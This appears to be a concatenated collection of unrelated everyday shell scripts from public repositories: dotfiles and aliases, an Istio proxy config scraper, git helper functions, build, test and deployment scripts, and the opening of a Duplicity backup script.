"r-richmond/dotfiles\nexport LSCOLORS=\"exfxcxdxbxegedabagacad\"\nexport CLICOLOR=true\n\nfpath=($DOTFILES/functions $fpath)\n\nautoload -U $DOTFILES/functions/*(:t)\n\nsetopt CORRECT\nsetopt COMPLETE_IN_WORD\nsetopt IGNORE_EOF\nsetopt LOCAL_OPTIONS # allow functions to have local options\nsetopt LOCAL_TRAPS # allow functions to have local traps\nsetopt PROMPT_SUBST # parameter expansion, command substitution and arithmetic expansion are performed in prompts. Substitutions within prompts do not affect the command status.\nsetopt NO_BG_NICE # don't nice background tasks\nsetopt NO_HUP\nsetopt NO_LIST_BEEP\n\nHISTFILE=~/.zsh_history\nHISTSIZE=100000\nSAVEHIST=100000\n\nsetopt APPEND_HISTORY # adds history\nsetopt EXTENDED_HISTORY # add timestamps to history format ‘: :;’.\nsetopt INC_APPEND_HISTORY # adds history incrementally\nsetopt SHARE_HISTORY # share it across sessions\nsetopt HIST_IGNORE_DUPS # Do not enter command lines into the history list if they are duplicates of the previous event.\nsetopt HIST_VERIFY # Whenever the user enters a line with history expansion, don’t execute the line directly; instead, perform history expansion and reload the line into the editing buffer.\nsetopt HIST_REDUCE_BLANKS # Remove superfluous blanks from each command line being added to the history list\nsetopt HIST_IGNORE_SPACE # don't add commands starting with space\n\n# don't expand aliases _before_ completion has finished\n# like: git comm-[tab]\n# https://stackoverflow.com/a/20643204\n# setopt complete_aliases\n\n# http://zshwiki.org/home/\n# https://stackoverflow.com/questions/18042685/list-of-zsh-bindkey-commands\n# http://zsh.sourceforge.net/Doc/Release/Zsh-Line-Editor.html#Movement\nbindkey '^[^[[D' backward-word # control-left conflicts with spaces\nbindkey '^[^[[C' forward-word # control-right conflicts with spaces\nbindkey '^[[H' beginning-of-line # home-key\nbindkey '^[[F' end-of-line # end-key\nbindkey '^[[3~' delete-char # del-key\nbindkey '^?' backward-delete-char # backspace-key"} {"text": "esnible/envizistion\n#!/bin/bash\nset -o errexit\n\nexport CAPTURE_DIR=$1\n\nif [ -z \"$CAPTURE_DIR\" ]; then\n echo \"Usage: $0 \"\n exit 1\nfi\n\nscrape_pod () {\n export POD=$1\n echo \"Scraping pod $POD in namespace $NAMESPACE\"\n # TODO handle two pods with same fullname in same namespace\n set +e\n kubectl --namespace $NAMESPACE exec $POD -c istio-proxy -- curl --silent localhost:15000/config_dump > $CAPTURE_DIR/$POD-config_dump.json\n CAN_SCRAPE=$?\n set -o errexit\n if [ $CAN_SCRAPE -eq 0 ]; then\n kubectl --namespace $NAMESPACE exec $POD -c istio-proxy -- curl --silent localhost:15000/stats > $CAPTURE_DIR/$POD-stats.txt\n kubectl --namespace $NAMESPACE exec $POD -c istio-proxy -- curl --silent localhost:15000/certs > $CAPTURE_DIR/$POD-certs.json\n kubectl --namespace $NAMESPACE exec $POD -c istio-proxy -- curl --silent localhost:15000/clusters > $CAPTURE_DIR/$POD-clusters.txt\n else\n rm $CAPTURE_DIR/$POD-config_dump.json\n fi\n}\nexport -f scrape_pod\n\nscrape_ns () {\n export NAMESPACE=$1\n echo \"Scraping namespace $NAMESPACE\"\n kubectl --namespace $1 get pods -o=custom-columns=NAME:.metadata.name --no-headers=true \\\n \t| xargs -n 1 -P 10 -I {} bash -c 'scrape_pod \"$@\"' _ {}\n}\n\nmkdir -p $CAPTURE_DIR\n\nkubectl get pods --all-namespaces -o json > $CAPTURE_DIR/pods.json\n\n# TODO let user choose which namespaces\nscrape_ns \"istio-system\"\nscrape_ns \"default\""} {"text": "echo 'en_US.UTF-8 UTF-8' >> /etc/locale.gen\nlocale-gen\ncat > /etc/env.d/02locale << \"EOF\"\nLANG=\"en_US.UTF-8\"\nLC_COLLATE=\"C\"\nEOF\n\n# Reload env because of locale change\nenv-update\nsource /etc/profile"} {"text": "0\nalias szshrc='source ~/.zshrc'\nalias du='du -h'\nalias df='df -h'\nalias free='free -h'\nalias f='find -iname'\nalias v='vim'\nalias meteo='curl http://wttr.in/Lille'\nalias up='sudo apt update && sudo apt -V --yes upgrade'\nalias ydl=\"youtube-dl --format best --output '%(upload_date)s.%(title)s.%(ext)s' --restrict-filenames --write-description\"\nalias rm='safe-rm'\n\n# Multitail with basic java colorization\nalias mu='multitail -cS apache -cS log4j -n 1000 --no-repeat -b 2 --mark-interval 2'\n\n# History with timestamps and elapsed time\nalias hist='history -iD'\n\n# ls\nalias ls='exa --classify --group-directories-first --color=auto --long --git'\nalias l='exa -l --classify --group-directories-first --color=auto --long --git'\nalias ll='exa -l --classify --group-directories-first --color=auto --long --git'\nalias la='exa -l --classify --group-directories-first --color=auto --long --git'\n\n# grep\nalias grep='grep --color=auto'\nalias egrep='grep --color=auto'\nalias zgrep='grep --color=auto'\n\n# More verbose fileutils\nalias cp='nocorrect gcp -iv' # -i to prompt for every file\nalias mv='nocorrect gmv -iv'\nalias rm='nocorrect grm -Iv' # -I to prompt when more than 3 files\nalias rmdir='grmdir -v'\nalias chmod='gchmod -v'\nalias chown='gchown -v'\n\n# ZSH global aliases for piping\n# Example : cat myfile.txt G pattern\nalias -g G='| grep -in'\nalias -g T='| tail'\nalias -g L='| less'\nalias -g B='| bat'\n\n# Parent directories\nalias cd..='cd ..'\nalias '..'='cd ..'\nalias dc='cd ..'\nalias -g ...='../..'\nalias -g ....='../../..'\nalias -g .....='../../../..'\nalias -g ......='../../../../..'\nalias -g .......='../../../../../..'\n\n# Git\nalias g='git'\ncompdef g=git\nalias gs='git status'\nalias gst='git status -s'\nalias gl='git log --graph --abbrev-commit --pretty=format:\"%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset\"'\nalias gll='git l'\nalias gp='git pull; git log -n 1 | grep -q -c \"\\-\\-wip\\-\\-\" && echo \"\\033[0;33mWARNING: Last commit is a WIP\\!\\033[0m\"'\nalias gaa='git add -A'\nalias gcm='git rev-parse --abbrev-ref origin/HEAD | cut -c8- | xargs -n 1 git checkout' # checkout master/main/develop automatically\nalias gc='git checkout -'\nalias gpf='git push --force-with-lease'\nalias gwip='git add -A; git rm $(git ls-files --deleted) 2> /dev/null; git commit --no-verify -m \"--wip-- [skip ci]\"'\nalias gwipp='gwip && git push --force-with-lease'\nalias gunwip='git log -n 1 | grep -q -c \"\\-\\-wip\\-\\-\" && git reset HEAD~1'\n# shellcheck disable=SC2142\nalias delete-merged-branches=\"git fetch -p && git for-each-ref --format '%(refname:short) %(upstream:track)' | awk '\\$2 == \\\"[gone]\\\" {print \\$1}' | xargs -r git branch -D\"\n\n# Maven\nalias m='mvn-in-colors'\ncompdef _mvn m=mvn\nMAVEN_SKIP_TESTS='-Dmaven.test.skip=true' # or -DskipTests\nalias mc='alert printAndRun mvn-in-colors clean'\nalias mt='alert printAndRun mvn-in-colors test'\nalias mct='alert printAndRun mvn-in-colors clean test'\nalias mcp='alert printAndRun mvn-in-colors clean package'\nalias mcpt='alert printAndRun mvn-in-colors clean package $MAVEN_SKIP_TESTS'\nalias mpt='alert printAndRun mvn-in-colors package $MAVEN_SKIP_TESTS'\nalias mci='alert printAndRun mvn-in-colors clean install'\nalias mcit='alert printAndRun mvn-in-colors clean install $MAVEN_SKIP_TESTS'\nalias mdt='mvn dependency:tree'\nalias msb='printAndRun mvn spring-boot:run'\n\n# NPM\nalias ns='printAndRun npm start'\nalias nsd='printAndRun npm run start:dev'\nalias nsh='printAndRun npm run start:hmr'\nalias nt='printAndRun npm test'\nalias ntw='printAndRun npm run test:watch'\nalias nr=\"printAndRun npm run\"\n\n# Scala SBT\nalias st='printAndRun sbt ~test-quick'\n\n# Docker compose\nalias dup='alert printAndRun docker-compose up -d'\nalias ddown='alert printAndRun docker-compose down -t 5'\nalias dsa='alert printAndRun docker-compose start'\nalias dso='alert printAndRun docker-compose stop'\nalias dl='docker-compose logs'\nalias dlf='docker-compose logs -f'\nalias e=\"subl -n .\"\nalias ap=\"ansible-playbook -i hosts\"\nalias tf=\"terraform\""} {"text": "#!/bin/sh\n\n# Make the binaries-folder, don't care if it already exists\nmkdir binaries 2> /dev/null\n\nfor file in `ls assembly`; do\n nasm -f bin assembly/$file -o binaries/${file%.s}\ndone"} {"text": "#!/bin/bash\n\n\n#欢迎语😁\nwelcome(){\n\techo -n $USER\",\"\n\tgreeting=\"\"\n\thour=$(date +%H)\n\tif [[ hour -ge 22 ]];then\n\t\tgreeting=\"夜深了。\"\n\telif [[ hour -lt 5 ]]; then\n\t\tgreeting=\"要努力,但也要休息。\"\n\telif [[ hour -ge 5 && hour -lt 8 ]]; then\n\t\tgreeting=\"又是元气满满的一天!^_^\"\n\telif [[ hour -ge 8 && hour -lt 11 ]]; then\n\t\tgreeting=\"上午好。\"\n\telif [[ hour -ge 11 && hour -lt 13 ]]; then\n\t\tgreeting=\"现在是中午啦。\"\n\telif [[ hour -ge 13 && hour -lt 17 ]]; then\n\t\tgreeting=\"下午好呀。\"\n\telif [[ hour -ge 17 && hour -lt 19 ]]; then\n\t\tgreeting=\"该吃顿可口的晚餐啦。\"\n\telif [[ hour -ge 19 && hour -lt 22 ]]; then\n\t\tgreeting=\"不负才华\"\n\tfi\n\techo ${greeting}\n}\n# 显示菜单\nshowMenu(){\n\twelcome\n\techo \"----\"\n\techo \"手动刷新\"\n\tif [[ 2 -eq $1 ]]; then\n\t\techo \"SUBMENU|循环时间|1小时|2小时✓|4小时\"\n\telif [[ 4 -eq $1 ]]; then\n\t\techo \"SUBMENU|循环时间|1小时|2小时|4小时✓\"\n\telse\n\t\techo \"1\">setting\n\t\techo \"SUBMENU|循环时间|1小时✓|2小时|4小时\"\n\tfi\n\techo \"帮助\"\n\techo \"关于\"\n}\n# 变更配置\nchangeCycleTime(){\n\tif [[ \"2小时\" = $1 ]]; then\n\t\techo '2'>setting\n\telif [[ \"4小时\" = $1 ]]; then\n\t\techo '4'>setting\n\telse\n\t\techo '1'>setting\n\tfi\n}\n\n# start\n# 获取刷新时间\ntouch \"setting\"\ncycleTime=$(cat setting)\n# 获取上次的pid\ntouch \"pid\"\nprePid=$(cat pid)\n# 获取当前pid\ncurrPid=$(ps -ef|grep Unsplash4mac|awk '{print $2}'|head -1)\n# 确认是否启动应用首次执行\nif [[ prePid -ne currPid ]]; then\n\t# 首次运行,记录pid,更换壁纸\n\t# echo \"start app\">>log\n\techo ${currPid}>pid\n\tnohup at -f wallpaperChanger.sh now + 1 minutes >/dev/null &\n\t# bash ./wallpaperChanger.sh &\n\nfi\n# echo \"continue\">>log \nif [[ -z $1 ]]; then\n\tshowMenu cycleTime\nelif [[ \"手动刷新\" = $1 ]]; then\n\tbash ./wallpaperChanger.sh \"1\" &\nelif [[ \"帮助\" = $1 ]]; then\n\techo \"ALERT:帮助|1.点击手动刷新可以即时更换壁纸2.点击循环时间可以选择程序的自动刷新时间\"\nelif [[ \"关于\" = $1 ]]; then\n\techo \"ALERT:关于|本程序壁纸源自unsplash.com。特别感谢Platypus这么优秀的打包应用。项目主页:wallpaper.imshan.top\"\nelse\n\tchangeCycleTime $1\nfi\n# echo \"end\">>log\nexit 0"} {"text": "1-10\n#!/bin/bash\nsum (){\n\tprintf \"The result is: %d\\n\" $(( $1 + $2 ))\n}\nsub (){\n printf \"The result is: %d\\n\" $(( $1 - $2 ))\n}\nmul (){\n printf \"The result is: %d\\n\" $(( $1 \"*\" $2 ))\n}\ndiv (){\n printf \"The result is: %d\\n\" $(( $1 / $2 ))\n}\nread -p \"Which operation would you like to do?[+, -, x, /] \" str\nif [[ \"$str\" == \"+\" ]]; then\n\tread -p \"Operand 01: \" a\n\tread -p \"Operand 02: \" b\n\tsum $a $b\n\nelif [[ \"$str\" == \"-\" ]]; then\n\tread -p \"Operand 01: \" a\n\tread -p \"Operand 02: \" b\n\tsub $a $b\nelif [[ ( \"$str\" == \"x\" ) || ( \"$str\" == \"*\" ) ]]; then\n\tread -p \"Operand 01: \" a\n\tread -p \"Operand 02: \" b\n\tmul $a $b\nelse\n\tread -p \"Operand 01: \" a\n\tread -p \"Operand 02: \" b\n\tif [[ $b -eq 0 ]]; then\n\t\techo \"Undefine\"\n\telse\n\t\tdiv $a $b\n\tfi\nfi"} {"text": "#!/usr/bin/env bash\n\nkoopa_locate_mv() {\n # \"\"\"\n # @note macOS gmv currently has issues on NFS shares.\n # \"\"\"\n if koopa_is_macos\n then\n koopa_locate_app '/bin/mv'\n else\n koopa_locate_app \\\n --allow-in-path \\\n --app-name='mv' \\\n --opt-name='coreutils'\n fi\n}"} {"text": "#!/bin/bash\nfor i in */; do zip -o -r \"${i%/}.zip\" \"$i\"; done"} {"text": "#!/bin/sh\n\nif test \"x$SETX\" != x; then set -x; fi\n\n# Figure out which cloud repo to use\nif test \"x$NCZARR_S3_TEST_HOST\" = x ; then\n# export NCZARR_S3_TEST_HOST=stratus.ucar.edu\n export NCZARR_S3_TEST_HOST=s3.us-east-1.amazonaws.com\nfi\nif test \"x$NCZARR_S3_TEST_BUCKET\" = x ; then\n# export NCZARR_S3_TEST_BUCKET=unidata-netcdf-zarr-testing\n export NCZARR_S3_TEST_BUCKET=unidata-zarr-test-data\nfi\nexport NCZARR_S3_TEST_URL=\"https://${NCZARR_S3_TEST_HOST}/${NCZARR_S3_TEST_BUCKET}\"\n\nZMD=\"${execdir}/zmapio\"\n\nawsdelete() {\n${execdir}/s3util ${PROFILE} -u \"${NCZARR_S3_TEST_URL}\" -k \"$1\" clear\n# aws s3api delete-object --endpoint-url=https://${NCZARR_S3_TEST_HOST} --bucket=${NCZARR_S3_TEST_BUCKET} --key=\"netcdf-c/$1\"\nX=\n}\n\n# Check settings\nchecksetting() {\nif test -f ${TOPBUILDDIR}/libnetcdf.settings ; then\n local PATTERN\n PATTERN=\"${1}:[ \t]*yes\"\n if grep \"$PATTERN\" <${TOPBUILDDIR}/libnetcdf.settings ; then\n HAVE_SETTING=1\n else\n unset HAVE_SETTING\n fi\nfi\n}\n\ncheckprops() {\n specflag=\n headflag=\n isxfail=\n # determine if this is an xfailtest\n for t in ${XFAILTESTS} ; do\n if test \"x${t}\" = \"x${x}\" ; then isxfail=1; fi\n done\n for t in ${SPECTESTS} ; do\n if test \"x${t}\" = \"x${f}\" ; then specflag=\"-s\"; fi\n done\n for t in ${HEADTESTS} ; do\n if test \"x${t}\" = \"x${f}\" ; then headflag=\"-h\"; fi\n done\n}\n\nextfor() {\n case \"$1\" in\n file) zext=\"file\" ;;\n zip) zext=\"zip\" ;;\n s3) zext=\"s3\" ;;\n *) echo \"unknown kind: $1\" ; exit 1;;\n esac\n}\n\ndeletemap() {\n case \"$1\" in\n file) rm -fr $2;;\n zip) rm -f $2;;\n s3) S3KEY=`${execdir}/zs3parse -k $2`; awsdelete $S3KEY;;\n *) echo \"unknown kind: $1\" ; exit 1;;\n esac\n}\n\nmapstillexists() {\n mapstillexists=0\n if \"./zmapio $fileurl\" ; then\n echo \"delete failed: $1\"\n mapstillexists=1\n fi\n}\n\nfileargs() {\n f=\"$1\"\n frag=\"$2\"\n if test \"x$frag\" = x ; then frag=\"mode=nczarr,$zext\" ; fi\n case \"$zext\" in\n s3)\n S3PATH=\"${NCZARR_S3_TEST_URL}/netcdf-c\"\n fileurl=\"${S3PATH}/${f}#${frag}\"\n file=$fileurl\n S3HOST=`${execdir}/zs3parse -h $S3PATH`\n S3BUCKET=`${execdir}/zs3parse -b $S3PATH`\n S3PREFIX=`${execdir}/zs3parse -k $S3PATH`\n ;;\n *)\n file=\"${f}.$zext\"\n fileurl=\"file://${f}.$zext#${frag}\"\n ;;\n esac\n}\n\ndumpmap() {\n zext=$1\n zbase=`basename $2 \".$zext\"`\n fileargs $zbase\n ${execdir}/zmapio -t int -x objdump $fileurl > $3\n}\n\n# Function to remove selected -s attributes from file;\n# These attributes might be platform dependent\nsclean() {\n cat $1 \\\n \t| sed -e '/:_IsNetcdf4/d' \\\n\t| sed -e '/:_Endianness/d' \\\n\t| sed -e '/_NCProperties/d' \\\n\t| sed -e '/_SuperblockVersion/d' \\\n\t| cat > $2\n}\n\n# Make sure execdir and srcdir absolute paths are available\nWD=`pwd`\ncd $srcdir ; abs_srcdir=`pwd` ; cd $WD\ncd $execdir ; abs_execdir=`pwd` ; cd $WD\n\n# Clear out any existing .rc files\nWD=`pwd`\nif test \"x$NCAUTH_HOMETEST\" != x ; then RCHOME=1; fi\n\n# Set plugin path\n\n#cd ../plugins; make clean all >/dev/null; cd ../nczarr_test\n\n# Load the findplugins function\n. ${builddir}/findplugin.sh\necho \"findplugin.sh loaded\"\n\n# Locate the plugin path and the library names; argument order is critical\n# Find bzip2 and capture\n# Assume all test filters are in same plugin dir\nfindplugin h5misc\n\necho \"final HDF5_PLUGIN_PATH=${HDF5_PLUGIN_PATH}\"\nexport HDF5_PLUGIN_PATH\n\nresetrc() {\n if test \"x$RCHOME\" = x1 ; then\n rm -f ${HOME}/.dodsrc ${HOME}/.daprc ${HOME}/.ncrc\n fi\n rm -f ${WD}/.dodsrc ${WD}/.daprc ${WD}/.ncrc\n unset NCRCENV_IGNORE\n unset NCRCENV_RC\n unset DAPRCFILE\n}\n\nresetrc"} {"text": "costaxu/gopl.ioch09/ex06/test.sh\n#!/bin/sh\n\necho '1 Process'\nGOMAXPROCS=1 go test -bench=.\n\necho '2 Processes'\nGOMAXPROCS=2 go test -bench=.\n\necho '4 Processes'\nGOMAXPROCS=4 go test -bench=.\n\necho '8 Processes'\nGOMAXPROCS=8 go test -bench=."} {"text": "gbesancon/scripts\n#!/bin/sh\n\nsource $(dirname $(realpath ${BASH_SOURCE[0]}))/../bash.sh\n\ngit_clone_repository()\n{\n URL=$1\n FOLDER_PATH=$2\n result=0\n delete_folder $FOLDER_PATH\n delete_folder_result=$?\n if [ $delete_folder_result -eq 0 ]\n then\n echo Cloning repository $URL\n execute_command git clone --recurse-submodules $URL $FOLDER_PATH\n git_clone_result=$?\n if [ $git_clone_result -eq 0 ]\n then\n echo Repository $URL cloned.\n else\n echo Failed cloning repository $URL.\n result=$git_clone_result\n fi\n fi\n return $result\n}\n\ngit_checkout_branch()\n{\n BRANCH_NAME=$1\n result=0\n echo Checking out branch $BRANCH_NAME\n execute_command git checkout $BRANCH_NAME\n git_checkout_result=$?\n if [ $git_checkout_result -eq 0 ]\n then\n echo Branch $BRANCH_NAME checked out \n else\n echo Failed checking out branch $BRANCH_NAME\n result=$git_checkout_result\n fi\n return $result\n}\n\ngit_pull()\n{\n result=0\n echo Pulling git commits\n execute_command git pull\n git_pull_result=$?\n if [ $git_pull_result -eq 0 ]\n then\n echo Git commits pulled\n else\n echo Failed pulling git commits\n result=$git_pull_result\n fi\n return $result\n}\n\ngit_status()\n{\n result=0\n echo Show status\n execute_command git status\n git_status_result=$?\n if [ $git_status_result -eq 0 ]\n then\n echo Status showed\n else\n echo Failed to show status\n result=$git_status_result\n fi\n return $result\n}\n\ngit_add_all()\n{\n result=0\n echo Adding all files\n execute_command git add --all\n git_add_result=$?\n if [ $git_add_result -eq 0 ]\n then\n echo All files added\n else\n echo Failed adding all files\n result=$git_add_result\n fi\n return $result\n}\n\ngit_commit()\n{\n MESSAGE=$1\n result=0\n echo Comiting files\n git commit -m \"$MESSAGE\"\n git_commit_result=$?\n if [ $git_commit_result -eq 0 ]\n then\n echo Files committed\n else\n echo Failed committing files\n result=$git_commit_result\n fi\n return $result\n}\n\ngit_push()\n{\n result=0\n echo Pushing commits\n execute_command git push\n git_push_result=$?\n if [ $git_push_result -eq 0 ]\n then\n echo Commits pushed.\n else\n echo Failed pushing commits\n result=$git_push_result\n fi\n return $result\n}\n\n# https://help.github.com/en/github/using-git/changing-author-info\ngit_change_author_info_by_email()\n{\n OLD_EMAIL=\"$1\"\n NEW_EMAIL=\"$2\"\n NEW_NAME=\"$3\"\n\n git filter-branch -f --env-filter '\n if [ \"$GIT_COMMITTER_EMAIL\" = \"'\"$OLD_EMAIL\"'\" ]\n then\n export GIT_COMMITTER_NAME=\"'\"$NEW_NAME\"'\"\n export GIT_COMMITTER_EMAIL=\"'\"$NEW_EMAIL\"'\"\n fi\n if [ \"$GIT_AUTHOR_EMAIL\" = \"'\"$OLD_EMAIL\"'\" ]\n then\n export GIT_AUTHOR_NAME=\"'\"$NEW_NAME\"'\"\n export GIT_AUTHOR_EMAIL=\"'\"$NEW_EMAIL\"'\"\n fi\n ' --tag-name-filter cat -- --branches --tags\n git push --force --tags origin 'refs/heads/*'\n}\n\ngit_change_author_info_by_name()\n{\n OLD_NAME=\"$1\"\n NEW_EMAIL=\"$2\"\n NEW_NAME=\"$3\"\n\n git filter-branch -f --env-filter '\n if [ \"$GIT_COMMITTER_NAME\" = \"'\"$OLD_NAME\"'\" ]\n then\n export GIT_COMMITTER_NAME=\"'\"$NEW_NAME\"'\"\n export GIT_COMMITTER_EMAIL=\"'\"$NEW_EMAIL\"'\"\n fi\n if [ \"$GIT_AUTHOR_NAME\" = \"'\"$OLD_NAME\"'\" ]\n then\n export GIT_AUTHOR_NAME=\"'\"$NEW_NAME\"'\"\n export GIT_AUTHOR_EMAIL=\"'\"$NEW_EMAIL\"'\"\n fi\n ' --tag-name-filter cat -- --branches --tags\n git push --force --tags origin 'refs/heads/*'\n}"} {"text": "#!/bin/bash\nset -e\nset -u\nset -o pipefail\n\n# TODO find .env file in .gitignore file or or maybe add .env to .ignore\n# TODO add file flag\n# srcname and dstname\nsrcname='db.dev.env'\nsuffix='.env'\nresult=${srcname%%\"$suffix\"*}\nexample='.example'\ndstname=$result$example$suffix\n\n# read file and split each line by delimeter(\"=\")\n# append each line result to array\ndelm='='\narr=();\nwhile read line; do\n\ts=$line$delm\n\twhile [[ $s ]]; do\n\t\tarr+=( \"${s%%\"$delm\"*}\" );\n\t\ts=${s#*\"$delm\"};\n\tdone\ndone < $srcname\ndeclare -p arr\n\n# valid check, \n# because .env file just key value pairs\n# so the length would be even :)so easy???\nlen=${#arr[@]}\nif [ $(( len % 2 )) != 0 ]; then\n\techo \"parse error\"\n\texit 1\nfi\n\n# empty file content\n> $dstname\n\n# find key and append to file\nfor (( i=0; i< len; i++ ));\ndo\n\tif [ $(( $i % 2 )) != 0 ]; then\n\t\techo $i\n\t\techo \"${arr[i-1]}=your ${arr[i-1]}\" >> $dstname\n\tfi\ndone"} {"text": "LanceFiondella/srt.core1-10\nmkdir -p packages\nmkdir -p lib\nRscript get_pkgs_with_deps.R"} {"text": "bin/versions.sh\n#!/bin/zsh\necho\necho ---------- software installed ----------\necho nvm `nvm --version`\necho npm `npm --version`\necho node `node --version`\necho `python3 --version`\necho `brew --version`\necho `git --version`\necho `java -version`\necho"} {"text": "fullama/Tools\n#!/bin/bash\nPROG=`basename $0`\n\nif [ $# -eq 0 ]\nthen\n echo \"Usage: $PROG string file.docx [file.docx...]\"\n exit 1\nfi\n\nfindme=\"$1\"\nshift\n\nfor file in $@\ndo\n unzip -p \"$file\" | grep -q \"$findme\"\n [ $? -eq 0 ] && echo \"$file\"\ndone"} {"text": "0\n#!/bin/bash\nset -xo pipefail\n\nreadonly PYTHON_JINJA2=\"import os; import sys; import jinja2; sys.stdout.write(jinja2.Template(sys.stdin.read()).render(env=os.environ)+'\\n')\"\n\n# if option is a command to execute\nif [[ \"$1\" != \"start-service\" ]] ; then\n echo \"executing command <$*>\"\n exec \"$@\"\nfi\n\nfunction initialize() {\n mkdir -vp /run/haproxy /var/log/haproxy\n ln -svf /var/log/haproxy/haproxy.log /var/log/haproxy.log\n python3 -c \"${PYTHON_JINJA2}\" > /etc/haproxy/haproxy.cfg < /etc/haproxy/haproxy.cfg.jinja2 || { echo \"templating error\" ; exit 1 ; }\n haproxy -c -f /etc/haproxy/haproxy.cfg || { echo \"invalid configuration\" ; exit 1 ; }\n}\n\nif [[ \"$1\" == \"start-service\" ]] ; then\n if ! [[ -e '/.initialized' ]] ; then\n initialize\n fi\n if [[ -z \"${KWANKO_PROXY_LOG}\" ]] || [[ \"${KWANKO_PROXY_LOG}\" == +(127.0.0.1|/dev/log)* ]] ; then\n rm -vf /run/rsyslogd.pid\n rsyslogd || { echo \"fail to start rsyslog\" ; exit 1 ; }\n fi\n echo ''\n echo '. starting HaProxy with config:'\n cat /etc/haproxy/haproxy.cfg\n echo '-------------------------------'\n /usr/sbin/haproxy -f /etc/haproxy/haproxy.cfg -q -db\nfi"} {"text": "#!/bin/sh\n# sudo apt-get update\nsudo DEBIAN_FRONTEND=noninteractive apt-get -y install lsb-release\nsudo apt-get update\nsudo DEBIAN_FRONTEND=noninteractive apt-get -y install nodejs npm\necho \"export PATH=\\$PATH:node_modules/.bin\" >> /home/$(whoami)/.bashrc"} {"text": "ycwu1030/cxSMScan\n#!/bin/bash\n\ndir=$1\nrid=$2\nid=1\nwhile [ $id -le 10 ]\n do\n kid=$[$rid*100+$id]\n ./cxSMThermalMassOnly/cxSMCritical_Scan_Z2.x $dir/cxx $kid\n infile=$dir/cxx/cxSMPointsZ2_$kid.dat\n outfile=$dir/cosmo/cxSMPointsZ2_$kid.dat\n python cxSMScannerFullZ2.py -i $infile -o $outfile\n id=$[$id+1]\n done"} {"text": "daharon/SMDF-Client\n#!/usr/bin/env bash\n\nset -e\n\nrpmdev-setuptree\n\necho '### Creating tarfile for the source RPM'\ntar --create \\\n --gzip \\\n --directory /code \\\n --file ~/rpmbuild/SOURCES/smdf-client.tar.gz \\\n ./{Cargo.toml,LICENSE,README.md,package/el/smdf-client.{service,sysconfig},src}\n\necho '### Building RPMs'\nrpmbuild -ba \\\n --define 'noclean 1' \\\n --define '_rpmdir /code/target/release/el' \\\n --define '_srcrpmdir /code/target/release/el' \\\n /code/package/el/smdf-client.spec"} {"text": "#!/usr/bin/env bash\n\ncleandd() {\n rm -rf ~/Library/Developer/Xcode/DerivedData\n echo \"Removed all derived data.\"\n}\n\nalias cleardd=cleandd\n\nfunction openws {\n for f in ./*.xcworkspace; do\n open \"${f}\"\n break;\n done\n}"} {"text": "#!/bin/bash\n\n# Add blt alias to front of .bashrc so that it applies to non-interactive shells.\nBLT_ALIAS_FILE=\"/vagrant/vendor/acquia/blt/scripts/blt/alias\"\nif [ -f \"$BLT_ALIAS_FILE\" ]\nthen\n grep -q -F 'function blt' /home/vagrant/.bashrc || (cat \"$BLT_ALIAS_FILE\" /home/vagrant/.bashrc > temp && mv temp /home/vagrant/.bashrc)\n chown vagrant /home/vagrant/.bashrc\n chgrp vagrant /home/vagrant/.bashrc\n\nelse\n echo \"Make sure you're in the project root and have run composer install.\"\n exit 1\nfi"} {"text": "groppcw/TopicModelingPipeline\nSETTINGS_DIR=$PWD\nDIR=$(dirname $0)\n\nsource $SETTINGS_DIR/settings.py\n\n$DIR/../../common/mixtures/01-inferPLDAmixturesInThisJob.sh\npython $DIR/../../common/mixtures/02-normalizePLDAmixtures.py $EXPERIMENT_DIRECTORY/mixtures/mixtures.dat $EXPERIMENT_DIRECTORY/mixtures/mixtures.normalized.dat"} {"text": "0\n#!/bin/bash\nset -e\n\nnpm run build:prod\n\ndocker build . -t calc-k8s-fe\ndocker tag calc-k8s-fe:latest thereincarnator/thereincarnator:calc-k8s-fe\ndocker push thereincarnator/thereincarnator:calc-k8s-fe\n\nkubectl delete service calc-k8s-fe\nkubectl delete deployment calc-k8s-fe\nkubectl create -f kubernetes.yaml"} {"text": "dev_up.sh\n#!/bin/bash\nset -e\n\nset -o allexport\nsource env.docker\nset +o allexport\n\ndocker-compose -f docker-compose.yml up --build -V -d"} {"text": "WASM_FILE=$1\n\n# set -ex\nif which wasm-gc > /dev/null\nthen\n wasm-gc \"$WASM_FILE\" # Optimize\nelse\n echo wasm-gc not found. The resulting wasm files will not be optimized\nfi\n\n# Replace \"env\" with \"ethereum\"\nwasm2wat \"$WASM_FILE\" |\n sed 's/(import \"env\" /(import \"ethereum\" /g' |\n sed 's/(export \"__heap_base\" (global 1))//g' |\n sed 's/(export \"__data_end\" (global 2))//g' > /tmp/wasm.tmp\n\nwat2wasm -o \"$WASM_FILE\" /tmp/wasm.tmp\n\n# LEN=$(( `stat --printf=\"%s\" $WASM_FILE` / 2))\n# WASM_HEX=`xxd -p $WASM_FILE | tr -d '\\n'`\n# out=\"\"\n# s=$WASM_HEX\n# for (( i=0; i<${#s}; i += 2 )); do\n# out=$out\"\\\\${s:$i:2}\"\n# done\n# WASM_HEX=$out\n# DEPLOY_FILE=/tmp/wasm.deploy.tmp\n\n# cat > $DEPLOY_FILE <<- EOM\n# (module\n# (import \"ethereum\" \"finish\" (func \\$finish (param i32 i32)))\n# (memory 1000)\n# (data (i32.const 0) \"${WASM_HEX}\")\n# (export \"main\" (func \\$main))\n# (export \"memory\" (memory 0))\n# (func \\$main\n# (call \\$finish (i32.const 0) (i32.const ${LEN})))\n# )\n# EOM\n# cat $DEPLOY_FILE\n# wat2wasm $DEPLOY_FILE -o $WASM_FILE\".deploy\"\n# rm /tmp/wasm.tmp"} {"text": "deployment/website/delete.sh\n#!/bin/bash\nkubectl delete cm nginx\nkubectl delete deploy nginx\nkubectl delete svc nginx\nkubectl delete pvc website\n#kubectl delete ingress website-letsencrypt"} {"text": "#!/bin/bash\n\npdflatex ${1}.tex && pdflatex ${1}.tex && bibtex ${1} && pdflatex ${1}.tex && pdflatex ${1}.tex && open ${1}.pdf"} {"text": "#!/bin/sh\n\ngo build -o ./build/relaytest.exe ./cmd/relaytest\ngo build -o ./build/pingtest.exe ./cmd/pingtest"} {"text": "#\n# Script created on 12-1-2005\n#\n# This script was created to make Duplicity backups.\n# Full backups are made on the 1st day of each month.\n# Then incremental backups are made on the other days.\n#\n\n# Loading the day of the month in a variable.\ndate=`date +%d`\n\n# Setting the pass phrase to encrypt the backup files.\nexport PASSPHRASE=''\nexport PASSPHRASE\n\n# Setting the password for the FTP account that the\n# backup files will be transferred to.\nFTP_PASSWORD=''\nexport 